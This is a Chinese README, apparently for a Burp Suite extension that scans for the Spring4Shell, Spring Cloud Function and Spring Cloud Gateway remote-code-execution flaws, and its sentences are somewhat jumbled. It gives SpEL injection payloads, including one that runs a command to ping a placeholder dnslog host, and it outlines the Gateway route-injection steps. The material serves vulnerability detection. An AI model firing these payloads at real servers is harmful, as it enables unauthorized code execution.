利用条件
JDK9及其以上版本;
使⽤了Spring-beans包;
使⽤了Spring参数绑定,参数绑定使⽤的是⾮基本参数类型,如POJO ;
使用Tomcat部署,且日志记录功能开启(默认开启)
因为这个洞上传shell还需要准确的web路径(默认在webapps\ROOT),写ssh和计划任务也需要root权限。实战中用exp去检测漏洞不太现实,所以思路转变到使用其他方法去检测漏洞的存在性。主要通过下面两种方式检测:
详细原理 ➡️ https://www.t00ls.cc/articles-65348.html
检测置信度:
回连检测 > 回显检测
回显检测误报率较大,可能存在漏洞但不能保证JDK版本大于等于9,可以及时捕捉到不出网的漏洞;回连检测准确率高,不适用于不出网环境。 推荐在内网的环境只开启回显检测,在公网环境开回显检测和回连检测。
利用条件
/functionRouter
存在SpEL表达式注入两种检测方法:
spring.cloud.function.routing-expression:T(java.net.InetAddress).getByName("xxx.dnslog.cn")
回连探测(可绕过WAF拦截命令执行进行漏洞探测)ping
命令:spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("ping xxx.dnslog.cn")
回连探测/functionRouter
进行漏洞探测。该漏洞为当Spring Cloud Gateway启用和暴露 Gateway Actuator 端点时,使用 Spring Cloud Gateway 的应用程序可受到代码注入攻击。攻击者可以发送特制的恶意请求,从而远程执行任意代码。
检测方法:
Whitelabel Error Page
判断是否是Spring框架(1.x/2.x); route_id
判断;包含恶意SpEL表达式的路由 -> 刷新路由 -> 访问添加的路由查看RCE结果 -> 删除路由 -> 刷新路由
回显检测 | 回连检测 |
---|---|
Spring Core RCE (CVE-2022-22965) | Spring Core RCE (CVE-2022-22965) |
Spring Cloud GateWay SPEL RCE (CVE-2022-22947) | Spring Cloud Function SpEL RCE (CVE-2022-22963) |
如需编译其他JDK版本,可参考如下方法编译jar包:
target 模块中可以看到漏洞详情
Dnslog
右键请求数据包 -> Extensions -> SpringScan -> doScan
即可进行主动扫描:本工具仅作为安全研究交流,请勿用于非法用途。如您在使用本工具的过程中存在任何非法行为,您需自行承担相应后果,本人将不承担任何法律及连带责任。